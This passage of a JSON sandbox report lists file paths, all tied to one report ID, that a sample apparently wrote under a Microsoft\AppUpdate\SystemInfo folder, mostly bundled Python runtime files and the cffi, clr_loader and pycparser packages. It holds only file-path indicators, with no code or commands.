{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\vcruntime140.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\vcruntime140_1.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\winsound.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\__pycache__\\clr.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\_cffi_errors.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\_cffi_include.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\_embedding.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\_imp_emulation.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\_shimmed_dist_utils.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\api.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\backend_ctypes.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\cffi_opcode.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\commontypes.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\cparser.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\error.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\ffiplatform.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\lock.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\model.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\parse_c_type.h","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\pkgconfig.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\recompiler.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\setuptools_ext.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\vengine_cpy.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\vengine_gen.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\verifier.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\_imp_emulation.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\_shimmed_dist_utils.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\api.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\backend_ctypes.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\cffi_opcode.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\commontypes.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\cparser.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\error.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\ffiplatform.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\lock.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\model.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\pkgconfig.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\recompiler.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\setuptools_ext.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\vengine_cpy.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\vengine_gen.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi\\__pycache__\\verifier.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\entry_points.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\licenses\\AUTHORS","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\cffi-2.0.0.dist-info\\licenses\\LICENSE","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\DESCRIPTION.rst","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\metadata.json","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr-1.0.3.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\hostfxr.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\mono.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\netfx.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\py.typed","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\types.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\__pycache__\\hostfxr.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\__pycache__\\mono.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\__pycache__\\netfx.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\__pycache__\\types.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\hostfxr.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\mono.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\netfx.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\__pycache__\\hostfxr.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\__pycache__\\mono.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\__pycache__\\netfx.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\dlls","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\dlls\\amd64\\ClrLoader.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\dlls\\amd64\\ClrLoader.pdb","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\dlls\\x86\\ClrLoader.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\ffi\\dlls\\x86\\ClrLoader.pdb","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\clr_error.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\coreclr_errors.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\find.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\hostfxr_errors.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\runtime_spec.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__pycache__\\clr_error.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__pycache__\\coreclr_errors.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__pycache__\\find.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__pycache__\\hostfxr_errors.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader\\util\\__pycache__\\runtime_spec.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader-0.2.9.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader-0.2.9.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader-0.2.9.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader-0.2.9.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr_loader-0.2.9.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\_ast_gen.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\_build_tables.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\_c_ast.cfg","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ast_transforms.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\c_ast.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\c_generator.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\c_lexer.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\c_parser.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\lextab.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\plyparser.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\yacctab.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\_ast_gen.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\_build_tables.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\ast_transforms.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\c_ast.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\c_generator.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\c_lexer.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\c_parser.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\lextab.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\plyparser.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\__pycache__\\yacctab.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\cpp.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\ctokens.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\lex.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\yacc.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\ygen.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\__pycache__\\cpp.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\__pycache__\\ctokens.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\__pycache__\\lex.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pycparser\\ply\\__pycac